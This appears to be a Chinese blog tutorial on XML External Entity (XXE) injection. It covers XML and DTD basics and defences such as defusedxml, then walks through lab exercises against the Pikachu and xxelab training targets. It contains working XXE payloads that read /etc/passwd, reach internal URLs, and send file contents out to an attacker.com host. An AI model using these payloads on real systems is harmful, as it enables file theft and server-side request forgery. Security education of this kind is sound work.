博客 / 詳情

返回

XXE基礎--pikachu,xxelab

一、XML 基礎結構

XML(Extensible Markup Language)是一種 用於存儲和傳輸數據的標記語言

示例

<?xml version="1.0" encoding="UTF-8"?>
<user>
    <name>Alice</name>
    <age>20</age>
</user>

組成:

部分 作用
<?xml ...?> 聲明
<user> 根節點
<name> 元素
Alice 數據

XML特點:

  • 必須有 一個根節點
  • 標籤 必須閉合
  • 區分大小寫

二、DTD(Document Type Definition)

XXE漏洞的核心幾乎都和 DTD 有關。

DTD 用來 定義 XML 的結構和規則

示例

<!DOCTYPE user [
    <!ELEMENT user (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
]>

解析:

語句 含義
<!DOCTYPE user> 聲明DTD
<!ELEMENT> 定義元素
#PCDATA 文本數據

DTD可以 內聯外部引用

三、實體(Entity)

實體是 DTD中最關鍵的部分,也是XXE漏洞利用的核心

實體類似 變量替換

內部實體

<!DOCTYPE user [
  <!ENTITY name "Alice">
]>

<user>
  <name>&name;</name>
</user>

解析後:

Alice

四、外部實體(External Entity)

外部實體可以引用 本地文件 / URL

這就是 XXE漏洞的來源。

示例

<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<data>
  &xxe;
</data>

如果解析器允許外部實體,就會讀取:

/etc/passwd

然後返回內容。

五、XXE漏洞原理

XXE(XML External Entity Injection)

本質:

XML解析器解析外部實體 → 攻擊者控制實體 → 讀取服務器資源

典型流程:

  1. 應用接收 XML
  2. XML解析器解析DTD
  3. 外部實體被加載
  4. 服務器文件被讀取

六、最常見的XXE攻擊方式

1 讀取服務器文件

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<foo>
  &xxe;
</foo>

2 SSRF(訪問內網)

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>

<foo>
  &xxe;
</foo>

服務器會訪問:

http://127.0.0.1:8080/admin

3 OOB XXE(帶外攻擊)

當數據無法直接回顯時:

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>

服務器會去請求攻擊者服務器。

4 讀取文件並外帶

攻擊者服務器:

http://attacker.com

DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

七、容易出現XXE漏洞的場景

常見解析器:

語言
Java DOM4J / SAX / JAXP
Python lxml
PHP SimpleXML
.NET XmlDocument

常見接口:

  • SOAP
  • SAML
  • XML API
  • 文件上傳

八、防禦XXE漏洞

核心原則:

1 禁用外部實體

Java示例:

factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);

2 禁用外部DTD

external-general-entities = false
external-parameter-entities = false

3 使用安全解析庫

例如:

Python

from defusedxml import ElementTree

九、一個完整XXE payload示例

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<root>
  &xxe;
</root>

如果存在漏洞:

服務器返回:

root:x:0:0:root:/root:/bin/bash

靶場練習

Pikachu

  • 輸入如下xml代碼:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY file "hello">
    ]>
    
    <root>
    <file>&file;</file>
    </root>
    

    輸出結果如下:
    1
    沒有輸出,應該是blind xxe.

  • 檢查xml是否支持外部實體訪問網絡:

    • 打開網站dnslog.cn,點擊Get SubDomain,生成一個子域名
      2
    • 構造xml代碼如下:
      <?xml version="1.0"?>
      <!DOCTYPE root [
      <!ENTITY url SYSTEM "http://6v3qrd.dnslog.cn">
      ]>
      
      <root>
      <file>&url;</file>
      </root>
      
    • 輸入到pikachu靶場,再去dnslog.cn點擊Refresh Record,顯示如下:
      3
      可以看到,有訪問記錄,證明有xxe漏洞。

XXE-lab

  • 打開網頁,顯示如下:
    4
    在目前網頁的每個input中輸入不一樣的值.

  • 開啓Burp Suite抓包,得到的數據包如下:

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>33</email>
    <password>44</password>
    </root>
    

    可以清楚的發現使用了xml來傳輸數據

  • 直接修改http數據包

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY air "hello">
    ]>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>&air;</email>
    <password>44</password>
    </root>
    
  • response顯示如下:
    5
    下面的紅色字體顯示出應該存在xxe漏洞。

  • 讀取文件:將http數據包修改為如下

    POST /process.php HTTP/1.1
    Host: 192.168.103.130:9040
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.103.130:9040/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 119
    Origin: http://192.168.103.130:9040
    Connection: keep-alive
    Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low
    Priority: u=0
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY air SYSTEM "file:///etc/passwd">
    ]>
    <root>
    <name>11</name>
    <tel>22</tel>
    <email>&air;</email>
    <password>44</password>
    </root>
    

    紅色字體已顯示:
    6


硬件及軟件説明:

I.硬件(電腦)

Apple Mac mini M4 (24G)

II.軟件(vmware虛擬機)

  • ubuntu作為靶機
    • IP: 192.168.103.130
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作為攻擊機
    • IP: 192.168.103.128
    • arm64
    • Kali GNU/Linux Rolling
    • 瀏覽器:Firefox

pikachu靶場安裝

ubuntu中安裝docker靶場:homins/pikachu:latest

# 拉取docker鏡像
sudo docker pull hominsu/pikachu

# 為鏡像創建容器,並運行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口設為 8082

xxelab靶場安裝

  • 下載github庫:

    git clone https://github.com/jbarone/xxelab.git
    
  • 構建xxelab鏡像:

    sudo docker build -t xxelab .
    
  • 創建運行容器:

    sudo docker run -dt --name xxelab -p 9040:80 xxelab  # xxe 端口設為 9040
    

📌 不一定對,如有錯誤,歡迎指出🙂。

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.